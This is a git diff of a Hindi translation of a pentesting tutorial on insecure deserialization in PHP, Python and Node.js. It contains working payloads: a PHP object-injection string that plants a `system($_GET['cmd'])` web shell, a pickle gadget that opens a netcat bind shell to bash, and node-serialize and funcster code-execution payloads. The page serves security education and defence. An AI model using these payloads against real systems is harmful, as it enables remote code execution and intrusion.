Translated ['src/pentesting-web/deserialization/README.md', 'src/pentest

2025-10-10 18:36:50 +00:00 · 2025-10-01 01:21:55 +00:00 · 2025-10-01 01:21:55 +00:00 · 7a11c655a7
commit 7a11c655a7
parent 9b135a1b30
3 changed files with 410 additions and 239 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -622,6 +622,7 @@
  - [Java JSF ViewState (.faces) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)
  - [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
  - [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
  - [Java Signedobject Gated Deserialization](pentesting-web/deserialization/java-signedobject-gated-deserialization.md)
  - [PHP - Deserialization + Autoload Classes](pentesting-web/deserialization/php-deserialization-+-autoload-classes.md)
  - [CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md)
  - [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)
--- a/src/pentesting-web/deserialization/README.md
+++ b/src/pentesting-web/deserialization/README.md
@ -2,23 +2,23 @@
 {{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## बुनियादी जानकारी
-**Serialization** को एक ऑब्जेक्ट को एक ऐसे प्रारूप में परिवर्तित करने की विधि के रूप में समझा जाता है जिसे संरक्षित किया जा सके, जिसका उद्देश्य या तो ऑब्जेक्ट को संग्रहीत करना है या इसे संचार प्रक्रिया के हिस्से के रूप में प्रसारित करना है। इस तकनीक का सामान्यत: उपयोग यह सुनिश्चित करने के लिए किया जाता है कि ऑब्जेक्ट को बाद में फिर से बनाया जा सके, इसकी संरचना और स्थिति को बनाए रखते हुए।
+**Serialization** को उस विधि के रूप में समझा जाता है जिसमें किसी ऑब्जेक्ट को ऐसे फॉर्मेट में बदला जाता है जिसे संरक्षित किया जा सके, और जिसे या तो संग्रहित करने या संचार प्रक्रिया के हिस्से के रूप में भेजने का लक्ष्य होता है। इस तकनीक का सामान्य उपयोग यह सुनिश्चित करना होता है कि ऑब्जेक्ट को बाद में उसकी संरचना और स्थिति बनाए रखते हुए पुनःनिर्मित किया जा सके।
-**Deserialization**, इसके विपरीत, वह प्रक्रिया है जो serialization का प्रतिकार करती है। इसमें उस डेटा को लेना शामिल है जो एक विशिष्ट प्रारूप में संरचित किया गया है और इसे फिर से एक ऑब्जेक्ट में पुनर्निर्माण करना शामिल है।
+**Deserialization**, इसके विपरीत, वह प्रक्रिया है जो serialization का उलटा करती है। इसमें किसी विशेष फॉर्मेट में संरचित डेटा लेकर उसे फिर से एक ऑब्जेक्ट में पुनर्निर्मित किया जाता है।
-Deserialization खतरनाक हो सकता है क्योंकि यह संभावित रूप से **हमलावरों को अनुक्रमित डेटा में हेरफेर करने की अनुमति देता है ताकि हानिकारक कोड निष्पादित किया जा सके** या ऑब्जेक्ट पुनर्निर्माण प्रक्रिया के दौरान एप्लिकेशन में अप्रत्याशित व्यवहार उत्पन्न कर सके।
+Deserialization खतरनाक हो सकती है क्योंकि यह संभावित रूप से **हमलावरों को serialized डेटा को बदलकर हानिकारक कोड execute करने** या ऑब्जेक्ट पुनर्निर्माण प्रक्रिया के दौरान एप्लिकेशन में अनपेक्षित व्यवहार उत्पन्न करने की अनुमति देती है।
 ## PHP
-PHP में, serialization और deserialization प्रक्रियाओं के दौरान विशिष्ट जादुई विधियों का उपयोग किया जाता है:
+PHP में, serialization और deserialization प्रक्रियाओं के दौरान विशिष्ट magic methods का उपयोग किया जाता है:
- `__sleep`: जब एक ऑब्जेक्ट को अनुक्रमित किया जा रहा होता है, तब इसे बुलाया जाता है। यह विधि उन सभी गुणों के नामों का एक ऐरे लौटाना चाहिए जिन्हें अनुक्रमित किया जाना चाहिए। इसका सामान्यत: उपयोग लंबित डेटा को समर्पित करने या समान सफाई कार्य करने के लिए किया जाता है।
+- `__sleep`: जब कोई ऑब्जेक्ट serialize किया जा रहा होता है तो यह कॉल होता है। इस मेथड को उन properties के नामों की एक array लौटानी चाहिए जिन्हें serialize किया जाना है। इसे आमतौर पर pending data commit करने या समान cleanup कार्य करने के लिए उपयोग किया जाता है।
- `__wakeup`: जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है, तब इसे बुलाया जाता है। इसका उपयोग उन किसी भी डेटाबेस कनेक्शनों को फिर से स्थापित करने के लिए किया जाता है जो serialization के दौरान खो गए हो सकते हैं और अन्य पुनः आरंभ कार्य करने के लिए।
+- `__wakeup`: जब कोई ऑब्जेक्ट deserialize किया जा रहा होता है तो यह कॉल होता है। इसे serialize के दौरान खोई हुई किसी भी database connections को पुनर्स्थापित करने और अन्य पुनःप्रारम्भ कार्यों को करने के लिए उपयोग किया जाता है।
- `__unserialize`: यह विधि `__wakeup` के बजाय (यदि यह मौजूद है) तब बुलाई जाती है जब एक ऑब्जेक्ट को deserialized किया जा रहा होता है। यह `__wakeup` की तुलना में deserialization प्रक्रिया पर अधिक नियंत्रण देती है।
+- `__unserialize`: जब कोई ऑब्जेक्ट deserialize किया जा रहा होता है तो (यदि मौजूद हो) यह `__wakeup` के स्थान पर कॉल होता है। यह `__wakeup` की तुलना में deserialization प्रक्रिया पर अधिक नियंत्रण देता है।
- `__destruct`: यह विधि तब बुलाई जाती है जब एक ऑब्जेक्ट नष्ट होने वाला होता है या जब स्क्रिप्ट समाप्त होती है। इसका सामान्यत: उपयोग सफाई कार्यों के लिए किया जाता है, जैसे फ़ाइल हैंडल या डेटाबेस कनेक्शनों को बंद करना।
+- `__destruct`: जब कोई ऑब्जेक्ट नष्ट होने वाला हो या स्क्रिप्ट समाप्त होने वाली हो तो यह मेथड कॉल होता है। इसे आमतौर पर cleanup कार्यों के लिए उपयोग किया जाता है, जैसे file handles या database connections बंद करना।
- `__toString`: यह विधि एक ऑब्जेक्ट को एक स्ट्रिंग के रूप में व्यवहार करने की अनुमति देती है। इसका उपयोग फ़ाइल पढ़ने या इसके भीतर फ़ंक्शन कॉल के आधार पर अन्य कार्यों के लिए किया जा सकता है, प्रभावी रूप से ऑब्जेक्ट का एक पाठ्य प्रतिनिधित्व प्रदान करता है।
+- `__toString`: यह मेथड किसी ऑब्जेक्ट को string की तरह व्यवहार करने की अनुमति देता है। इसे किसी फ़ाइल को पढ़ने या इसके अंदर मौजूद function calls के आधार पर अन्य कार्यों के लिए उपयोग किया जा सकता है, और यह ऑब्जेक्ट का टेक्स्टुअल प्रतिनिधित्व प्रदान करता है।
 ```php
 <?php
 class test {
@ -74,10 +74,10 @@ This is a test<br />
 */
 ?>
 ```
-यदि आप परिणामों को देखें तो आप देख सकते हैं कि फ़ंक्शन **`__wakeup`** और **`__destruct`** तब कॉल किए जाते हैं जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाता है। ध्यान दें कि कई ट्यूटोरियल में आप पाएंगे कि **`__toString`** फ़ंक्शन तब कॉल किया जाता है जब किसी विशेषता को प्रिंट करने की कोशिश की जाती है, लेकिन स्पष्ट रूप से यह **अब नहीं हो रहा है**।
+If you look to the results you can see that the functions **`__wakeup`** and **`__destruct`** are called when the object is deserialized. Note that in several tutorials you will find that the **`__toString`** function is called when trying yo print some attribute, but apparently that's **not happening anymore**.
 > [!WARNING]
-> यदि इसे क्लास में लागू किया गया है, तो **`__unserialize(array $data)`** मेथड **`__wakeup()`** के बजाय कॉल किया जाता है। यह आपको ऑब्जेक्ट को डीसिरियलाइज़ करने की अनुमति देता है, जिसमें सीरियलाइज्ड डेटा को एक एरे के रूप में प्रदान किया जाता है। आप इस मेथड का उपयोग प्रॉपर्टीज़ को डीसिरियलाइज़ करने और डीसिरियलाइज़ेशन के दौरान आवश्यक कार्य करने के लिए कर सकते हैं।
+> The method **`__unserialize(array $data)`** is called **instead of `__wakeup()`** if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization.
 >
 > ```php
 > class MyClass {
@ -90,19 +90,36 @@ This is a test<br />
 > }
 > ```
-आप एक विस्तृत **PHP उदाहरण यहाँ पढ़ सकते हैं**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), यहाँ [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) या यहाँ [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
+यदि आप परिणामों को देखें तो आप देख सकते हैं कि फ़ंक्शन **`__wakeup`** और **`__destruct`** ऑब्जेक्ट के deserialized होने पर कॉल होते हैं। ध्यान दें कि कई ट्यूटोरियल में आप पाएँगे कि जब किसी attribute को print करने की कोशिश की जाती है तो **`__toString`** फ़ंक्शन कॉल होता है, लेकिन प्रतीत होता है कि अब ऐसा **होना बंद हो गया है**।
 > [!WARNING]
 > यदि किसी class में यह मेथड लागू है तो मेथड **`__unserialize(array $data)`** क्लास में मौजूद होने पर **`__wakeup()` के बजाय** कॉल होता है। यह आपको serialized डेटा को एक array के रूप में प्रदान करके object को unserialize करने की अनुमति देता है। आप इस मेथड का उपयोग properties को unserialize करने और deserialization के समय आवश्यक कार्य करने के लिए कर सकते हैं।
 >
 > ```php
 > class MyClass {
 >    private $property;
 >
 >    public function __unserialize(array $data): void {
 >        $this->property = $data['property'];
 >        // Perform any necessary tasks upon deserialization.
 >    }
 > }
 > ```
 You can read an explained **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), here [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) or here [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
 ### PHP Deserial + Autoload Classes
-आप PHP ऑटोलोड फ़ंक्शनलिटी का दुरुपयोग करके मनमाने php फ़ाइलों को लोड कर सकते हैं और अधिक:
+You could abuse the PHP autoload functionality to load arbitrary php files and more:
 {{#ref}}
 php-deserialization-+-autoload-classes.md
 {{#endref}}
-### संदर्भित मानों को सीरियलाइज़ करना
+### Serializing Referenced Values
-यदि किसी कारणवश आप एक मान को **दूसरे सीरियलाइज्ड मान के संदर्भ के रूप में** सीरियलाइज़ करना चाहते हैं, तो आप कर सकते हैं:
+If for some reason you want to serialize a value as a **reference to another value serialized** you can:
 ```php
 <?php
 class AClass {
@ -115,12 +132,12 @@ $o->param1 =& $o->param22;
 $o->param = "PARAM";
 $ser=serialize($o);
 ```
-### PHP ऑब्जेक्ट इंजेक्शन को `allowed_classes` के साथ रोकना
+### `allowed_classes` के साथ PHP Object Injection रोकना
 > [!INFO]
-> `unserialize()` के **दूसरे तर्क** ($options array) के लिए समर्थन **PHP 7.0** में जोड़ा गया था। पुराने संस्करणों में यह फ़ंक्शन केवल अनुक्रमित स्ट्रिंग को स्वीकार करता है, जिससे यह संभव नहीं है कि किन कक्षाओं को स्थापित किया जा सकता है।
+> `unserialize()` के **दूसरे तर्क** (the `$options` array) के लिए सपोर्ट **PHP 7.0** में जोड़ा गया था। पुराने वर्जनों में यह फ़ंक्शन केवल serialized string स्वीकार करता है, जिससे यह असंभव होता है कि यह सीमित किया जाए कि कौन-सी क्लासेस instantiate हो सकती हैं।
-`unserialize()` **हर कक्षा** को स्थापित करेगा जो इसे अनुक्रमित स्ट्रीम के अंदर मिलती है जब तक कि अन्यथा न कहा जाए। PHP 7 से व्यवहार को [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) विकल्प के साथ प्रतिबंधित किया जा सकता है:
+`unserialize()` serialized stream के अंदर जो भी क्लास मिलती है उन्हें **instantiate कर देगा** जब तक कि उसे अलग निर्देश न दिया गया हो। PHP 7 से इस व्यवहार को [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) option से सीमित किया जा सकता है:
 ```php
 // NEVER DO THIS – full object instantiation
 $object = unserialize($userControlledData);
@ -135,11 +152,11 @@ $object = unserialize($userControlledData, [
 'allowed_classes' => [MyModel::class, DateTime::class]
 ]);
 ```
-यदि **`allowed_classes` को छोड़ दिया गया है _या_ कोड PHP < 7.0 पर चलता है**, तो कॉल **खतरनाक** हो जाती है क्योंकि एक हमलावर एक ऐसा पेलोड तैयार कर सकता है जो जादुई विधियों जैसे `__wakeup()` या `__destruct()` का दुरुपयोग करता है ताकि रिमोट कोड निष्पादन (RCE) प्राप्त किया जा सके।
+यदि **`allowed_classes` छोड़ा गया हो _या_ कोड PHP < 7.0 पर चल रहा हो**, तो कॉल **खतरनाक** हो जाता है क्योंकि एक हमलावर ऐसा payload तैयार कर सकता है जो `__wakeup()` या `__destruct()` जैसे magic methods का दुरुपयोग करके Remote Code Execution (RCE) हासिल कर लेता है।
 #### वास्तविक दुनिया का उदाहरण: Everest Forms (WordPress) CVE-2025-52709
-WordPress प्लगइन **Everest Forms ≤ 3.2.2** ने एक सहायक रैपर के साथ रक्षात्मक होने की कोशिश की लेकिन पुराने PHP संस्करणों के बारे में भूल गया:
+WordPress plugin **Everest Forms ≤ 3.2.2** ने एक helper wrapper के साथ सुरक्षा अपनाने की कोशिश की थी लेकिन legacy PHP versions के बारे में भूल गया:
 ```php
 function evf_maybe_unserialize($data, $options = array()) {
 if (is_serialized($data)) {
@ -154,28 +171,28 @@ return @unserialize(trim($data));
 return $data;
 }
 ```
-सर्वरों पर जो अभी भी **PHP ≤ 7.0** चला रहे थे, यह दूसरा शाखा एक क्लासिक **PHP Object Injection** की ओर ले गया जब एक प्रशासक ने एक दुर्भावनापूर्ण फॉर्म सबमिशन खोला। एक न्यूनतम एक्सप्लॉइट पेलोड इस तरह दिख सकता है:
+ऐसे सर्वरों पर जो अभी भी **PHP ≤ 7.0** चला रहे थे, यह दूसरी शाखा एक क्लासिक **PHP Object Injection** की ओर ले जाती थी जब एक प्रशासक एक दुर्भावनापूर्ण फॉर्म सबमिशन खोलता है। एक minimal exploit payload इस तरह दिख सकता है:
 ```
 O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
 ```
-जैसे ही व्यवस्थापक ने प्रविष्टि को देखा, वस्तु को स्थापित किया गया और `SomeClass::__destruct()` निष्पादित हुआ, जिसके परिणामस्वरूप मनमाना कोड निष्पादन हुआ।
+जैसे ही admin ने entry देखा, object instantiate हुआ और `SomeClass::__destruct()` execute हो गया, जिसके परिणामस्वरूप arbitrary code execution हुआ।
-**महत्वपूर्ण बातें**
+**मुख्य निष्कर्ष**
-1. हमेशा `['allowed_classes' => false]` (या एक सख्त श्वेत सूची) को `unserialize()` कॉल करते समय पास करें।
+1. हमेशा `unserialize()` कॉल करते समय `['allowed_classes' => false]` (या एक सख्त white-list) पास करें।
-2. रक्षात्मक आवरणों का ऑडिट करें - वे अक्सर विरासती PHP शाखाओं के बारे में भूल जाते हैं।
+2. defensive wrappers की audit करें – वे अक्सर legacy PHP branches को भूल जाते हैं।
-3. केवल **PHP ≥ 7.x** में अपग्रेड करना *पर्याप्त* नहीं है: विकल्प को अभी भी स्पष्ट रूप से प्रदान करने की आवश्यकता है।
+3. केवल **PHP ≥ 7.x** पर अपग्रेड करना पर्याप्त नहीं है: विकल्प को स्पष्ट रूप से प्रदान करना अभी भी आवश्यक है।
 ---
-### PHPGGC (PHP के लिए ysoserial)
+### PHPGGC (ysoserial for PHP)
-[**PHPGGC**](https://github.com/ambionics/phpggc) आपको PHP deserialization का दुरुपयोग करने के लिए पेलोड उत्पन्न करने में मदद कर सकता है।\
+[**PHPGGC**](https://github.com/ambionics/phpggc) PHP deserializations को abuse करने के लिए payloads बनाने में आपकी मदद कर सकता है।\
-ध्यान दें कि कई मामलों में आप **ऐप्लिकेशन के स्रोत कोड में deserialization का दुरुपयोग करने का कोई तरीका नहीं पाएंगे**, लेकिन आप **बाहरी PHP एक्सटेंशन के कोड का दुरुपयोग करने में सक्षम हो सकते हैं।**\
+ध्यान दें कि कई मामलों में आप application के source code में deserialization को abuse करने का तरीका नहीं ढूँढ पाएँगे, लेकिन आप external PHP extensions के code को abuse कर सकते हैं।\
-इसलिए, यदि आप कर सकते हैं, तो सर्वर का `phpinfo()` जांचें और **इंटरनेट पर खोजें** (यहां तक कि **PHPGGC** के **gadgets** पर) कुछ संभावित गैजेट जो आप दुरुपयोग कर सकते हैं।
+इसलिए, अगर संभव हो तो सर्वर का `phpinfo()` चेक करें और इंटरनेट पर (यहाँ तक कि **PHPGGC** के **gadgets** पर भी) कुछ संभावित gadget खोजें जिन्हें आप abuse कर सकते हैं।
-### phar:// मेटाडेटा deserialization
+### phar:// metadata deserialization
-यदि आपने एक LFI पाया है जो केवल फ़ाइल को पढ़ रहा है और इसके अंदर PHP कोड को निष्पादित नहीं कर रहा है, उदाहरण के लिए _**file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()**_** का उपयोग करके।** आप **phar** प्रोटोकॉल का उपयोग करके **फ़ाइल** पढ़ते समय होने वाली **deserialization** का दुरुपयोग करने का प्रयास कर सकते हैं।\
+यदि आपको ऐसा LFI मिला है जो केवल फ़ाइल पढ़ रहा है और उसके अंदर का php code execute नहीं कर रहा है, उदाहरण के लिए उन functions का उपयोग करते हुए _**file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**_**।** आप **phar** प्रोटोकॉल का उपयोग करके फ़ाइल पढ़ने के दौरान होने वाली **deserialization** को exploit करने की कोशिश कर सकते हैं।\
 अधिक जानकारी के लिए निम्नलिखित पोस्ट पढ़ें:
@ -187,8 +204,8 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
 ### **Pickle**
-जब वस्तु को unpickle किया जाता है, तो फ़ंक्शन \_\_\_reduce\_\_\_ निष्पादित होगा।\
+जब object unpickle होता है, तो function __reduce__ execute होगा।\
-जब इसका दुरुपयोग किया जाता है, तो सर्वर एक त्रुटि वापस कर सकता है।
+यदि exploit हो जाए, तो सर्वर त्रुटि वापस कर सकता है।
 ```python
 import pickle, os, base64
 class P(object):
@ -196,9 +213,9 @@ def __reduce__(self):
 return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
 print(base64.b64encode(pickle.dumps(P())))
 ```
-`print(base64.b64encode(pickle.dumps(P(),2)))` का उपयोग करके एक ऐसा ऑब्जेक्ट उत्पन्न करने का प्रयास करें जो यदि आप python3 चला रहे हैं तो python2 के साथ संगत हो।
+बायपास तकनीक की जांच करने से पहले, अगर आप python3 चला रहे हैं तो python2 के अनुकूल ऑब्जेक्ट जनरेट करने के लिए `print(base64.b64encode(pickle.dumps(P(),2)))` का उपयोग करने का प्रयास करें।
-**pickle jails** से बचने के बारे में अधिक जानकारी के लिए देखें:
+For more information about escaping from **pickle jails** check:
 {{#ref}}
@ -207,7 +224,7 @@ print(base64.b64encode(pickle.dumps(P())))
 ### Yaml **&** jsonpickle
-निम्नलिखित पृष्ठ **yaml** python पुस्तकालयों में **असुरक्षित deserialization का दुरुपयोग करने** की तकनीक प्रस्तुत करता है और **Pickle, PyYAML, jsonpickle और ruamel.yaml** के लिए RCE deserialization payload उत्पन्न करने के लिए एक उपकरण के साथ समाप्त होता है:
+निम्नलिखित पृष्ठ python yamls libraries में **abuse an unsafe deserialization in yamls** की तकनीक प्रस्तुत करता है और अंत में ऐसे एक tool के साथ समाप्त होता है जिसका उपयोग **Pickle, PyYAML, jsonpickle and ruamel.yaml** के लिए RCE deserialization payload जनरेट करने में किया जा सकता है:
 {{#ref}}
@ -225,10 +242,9 @@ python-yaml-deserialization.md
 ### JS Magic Functions
-JS में PHP या Python की तरह **"जादुई" फ़ंक्शन** नहीं होते हैं जो केवल एक ऑब्जेक्ट बनाने के लिए निष्पादित होते हैं। लेकिन इसमें कुछ **फ़ंक्शन** हैं जो **सीधे कॉल किए बिना भी अक्सर उपयोग किए जाते हैं** जैसे **`toString`**, **`valueOf`**, **`toJSON`**।\
+JS में PHP या Python की तरह ऐसे "magic" functions नहीं होते जो सिर्फ ऑब्जेक्ट बनाने पर executed हो जाएँ। लेकिन इसमें कुछ ऐसे **functions** होते हैं जिनका उपयोग बिना सीधे कॉल किए भी अक्सर किया जाता है, जैसे **`toString`**, **`valueOf`**, **`toJSON`**। यदि आप deserialization का abuse करते हैं तो आप इन functions को **compromise करके अन्य कोड execute करवा सकते हैं** (संभावनाअनुसार prototype pollutions का abuse करते हुए), और ये फंक्शन कॉल होने पर arbitrary code execute कर सकते हैं।
 यदि आप deserialization का दुरुपयोग करते हैं तो आप **इन फ़ंक्शनों को अन्य कोड निष्पादित करने के लिए समझौता कर सकते हैं** (संभवतः प्रोटोटाइप प्रदूषण का दुरुपयोग करते हुए) जब इन्हें कॉल किया जाता है तो आप मनमाना कोड निष्पादित कर सकते हैं।
-एक और **"जादुई" तरीका एक फ़ंक्शन को बिना सीधे कॉल किए कॉल करने का** है **एक ऑब्जेक्ट को समझौता करके जो एक async फ़ंक्शन** (प्रॉमिस) द्वारा लौटाया जाता है। क्योंकि, यदि आप उस **रिटर्न ऑब्जेक्ट** को एक अन्य **प्रॉमिस** में **"then" नामक फ़ंक्शन प्रकार की प्रॉपर्टी** के साथ **परिवर्तित** करते हैं, तो यह केवल इसलिए **निष्पादित** होगा क्योंकि इसे एक अन्य प्रॉमिस द्वारा लौटाया गया है। _अधिक जानकारी के लिए_ [_**इस लिंक**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _का पालन करें._
+किसी फ़ंक्शन को सीधे कॉल किए बिना कॉल करने का एक और **"magic" तरीका** यह है कि आप किसी async function (promise) द्वारा लौटाए गए object को **compromise** कर दें। क्योंकि, यदि आप उस **return object** को किसी अन्य **promise** में बदल दें जिसमें **"then" नामक property जो function प्रकार की हो**, तो वह सिर्फ इसलिए **executed** हो जाएगी क्योंकि वह दूसरे promise द्वारा लौटाई गई थी। _अधिक जानकारी के लिए_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _देखें._
 ```javascript
 // If you can compromise p (returned object) to be a promise
 // it will be executed just because it's the return object of an async function:
@ -252,9 +268,9 @@ test_ressolve()
 test_then()
 //For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
 ```
-### `__proto__` और `prototype` प्रदूषण
+### `__proto__` and `prototype` pollution
-यदि आप इस तकनीक के बारे में जानना चाहते हैं **तो निम्नलिखित ट्यूटोरियल पर नज़र डालें**:
+यदि आप इस तकनीक के बारे में जानना चाहते हैं **तो निम्नलिखित ट्यूटोरियल देखें**:
 {{#ref}}
@ -263,7 +279,7 @@ nodejs-proto-prototype-pollution/
 ### [node-serialize](https://www.npmjs.com/package/node-serialize)
-यह पुस्तकालय कार्यों को अनुक्रमित करने की अनुमति देता है। उदाहरण:
+यह लाइब्रेरी फ़ंक्शन्स को serialise करने की अनुमति देती है। उदाहरण:
 ```javascript
 var y = {
 rce: function () {
@ -276,23 +292,23 @@ var serialize = require("node-serialize")
 var payload_serialized = serialize.serialize(y)
 console.log("Serialized: \n" + payload_serialized)
 ```
-**सीरियलाइज्ड ऑब्जेक्ट** इस तरह दिखेगा:
+यह **serialised object** इस तरह दिखेगा:
 ```bash
 {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
 ```
-आप उदाहरण में देख सकते हैं कि जब एक फ़ंक्शन को सीरियलाइज़ किया जाता है तो `_$$ND_FUNC$$_` फ़्लैग सीरियलाइज़ किए गए ऑब्जेक्ट में जोड़ा जाता है।
+You can see in the example that when a `function` is serialized the `_$$ND_FUNC$$_` flag is appended to the serialized object.
-फाइल `node-serialize/lib/serialize.js` के अंदर आप वही फ़्लैग और कोड का उपयोग कैसे किया जा रहा है, पा सकते हैं।
+Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it.
 ![](<../../images/image (351).png>)
 ![](<../../images/image (446).png>)
-जैसा कि आप अंतिम कोड के टुकड़े में देख सकते हैं, **यदि फ़्लैग पाया जाता है** तो `eval` का उपयोग फ़ंक्शन को डीसिरियलाइज़ करने के लिए किया जाता है, इसलिए मूल रूप से **उपयोगकर्ता इनपुट `eval` फ़ंक्शन के अंदर उपयोग किया जा रहा है**।
+As you may see in the last chunk of code, **यदि flag पाया जाता है** `eval` is used to deserialize the `function`, so basically **user input `eval` function के अंदर उपयोग किया जा रहा है**।
-हालांकि, **सिर्फ फ़ंक्शन को सीरियलाइज़ करना** **इसे निष्पादित नहीं करेगा** क्योंकि यह आवश्यक होगा कि कोड का कुछ भाग **`y.rce` को कॉल कर रहा हो** हमारे उदाहरण में और यह अत्यधिक **असंभव** है।\
+However, **just serialising** a `function` **इसे execute नहीं करेगा** क्योंकि इसके लिए ज़रूरी होगा कि code का कोई हिस्सा हमारे example में **`y.rce` को call कर रहा हो**, और यह बहुत ही **कम सम्भावना वाला**।\
-वैसे भी, आप बस **सीरियलाइज़ किए गए ऑब्जेक्ट को संशोधित कर सकते हैं** **कुछ कोष्ठकों को जोड़कर** ताकि जब ऑब्जेक्ट को डीसिरियलाइज़ किया जाए तो सीरियलाइज़ किया गया फ़ंक्शन स्वचालित रूप से निष्पादित हो जाए।\
+खैर, आप बस **serialised object में परिवर्तन कर सकते हैं** और **कुछ parenthesis जोड़कर** ताकि object को deserialize करते समय serialized `function` auto execute हो जाए।\
-अगले कोड के टुकड़े में **अंतिम कोष्ठक** पर ध्यान दें और कैसे `unserialize` फ़ंक्शन स्वचालित रूप से कोड को निष्पादित करेगा:
+In the next chunk of code **अंतिम parenthesis पर ध्यान दें** और देखें कि कैसे `unserialize` `function` code को स्वचालित रूप से execute करेगा:
 ```javascript
 var serialize = require("node-serialize")
 var test = {
@ -300,20 +316,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
 }
 serialize.unserialize(test)
 ```
-जैसा कि पहले बताया गया था, यह लाइब्रेरी `_$$ND_FUNC$$_` के बाद कोड प्राप्त करेगी और इसे `eval` का उपयोग करके **निष्पादित** करेगी। इसलिए, **कोड को स्वचालित रूप से निष्पादित** करने के लिए आप **फंक्शन निर्माण** भाग और अंतिम कोष्ठक को **हटा सकते हैं** और **बस एक JS एकल पंक्ति** निष्पादित कर सकते हैं जैसे कि निम्नलिखित उदाहरण में:
+जैसा कि पहले बताया गया था, यह लाइब्रेरी `_$$ND_FUNC$$_` के बाद का कोड लेगी और उसे `eval` का उपयोग करके **execute** करेगी। इसलिए, **auto-execute code** करने के लिए आप **function creation** वाला हिस्सा और आखिरी parenthesis हटा सकते हैं और **सिर्फ एक JS oneliner** चला सकते हैं, जैसा कि निम्नलिखित उदाहरण में है:
 ```javascript
 var serialize = require("node-serialize")
 var test =
 "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
 serialize.unserialize(test)
 ```
-आप [**यहां**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **अधिक जानकारी** प्राप्त कर सकते हैं कि इस कमजोरियों का लाभ कैसे उठाया जाए।
+आप इस भेद्यता का शोषण करने के तरीकों के बारे में [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **अतिरिक्त जानकारी** पा सकते हैं।
 ### [funcster](https://www.npmjs.com/package/funcster)
-**funcster** का एक महत्वपूर्ण पहलू **मानक अंतर्निहित वस्तुओं** की अनुपलब्धता है; ये सुलभ दायरे से बाहर हैं। यह प्रतिबंध उन कोड के निष्पादन को रोकता है जो अंतर्निहित वस्तुओं पर विधियों को कॉल करने का प्रयास करते हैं, जिससे `"ReferenceError: console is not defined"` जैसी अपवाद उत्पन्न होते हैं जब `console.log()` या `require(something)` जैसे कमांड का उपयोग किया जाता है।
+**funcster** का एक उल्लेखनीय पहलू यह है कि **standard built-in objects** पहुँच योग्य स्कोप के बाहर होते हैं; ये एक्सेसिबल स्कोप में शामिल नहीं होते। यह प्रतिबंध उन कोड के निष्पादन को रोकता है जो built-in objects पर methods को कॉल करने की कोशिश करते हैं, जिसके परिणामस्वरूप `console.log()` या `require(something)` जैसे कमांड्स उपयोग करने पर `"ReferenceError: console is not defined"` जैसे exception आते हैं।
-इस सीमा के बावजूद, सभी मानक अंतर्निहित वस्तुओं सहित वैश्विक संदर्भ तक पूर्ण पहुंच को पुनर्स्थापित करना एक विशिष्ट दृष्टिकोण के माध्यम से संभव है। वैश्विक संदर्भ का सीधे उपयोग करके, इस प्रतिबंध को बायपास किया जा सकता है। उदाहरण के लिए, निम्नलिखित स्निपेट का उपयोग करके पहुंच को फिर से स्थापित किया जा सकता है:
+इस सीमा के बावजूद, एक विशिष्ट तरीके से global context सहित सभी standard built-in objects तक पूर्ण पहुँच को पुनर्स्थापित करना संभव है। global context को सीधे उपयोग करके इस प्रतिबंध को बाईपास किया जा सकता है। उदाहरण के लिए, निम्न स्निपेट का उपयोग करके पहुँच को पुनः स्थापित किया जा सकता है:
 ```javascript
 funcster = require("funcster")
 //Serialization
@ -335,17 +351,17 @@ __js_function:
 }
 funcster.deepDeserialize(desertest3)
 ```
-**अधिक जानकारी के लिए इस स्रोत को पढ़ें**[ **यहाँ**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
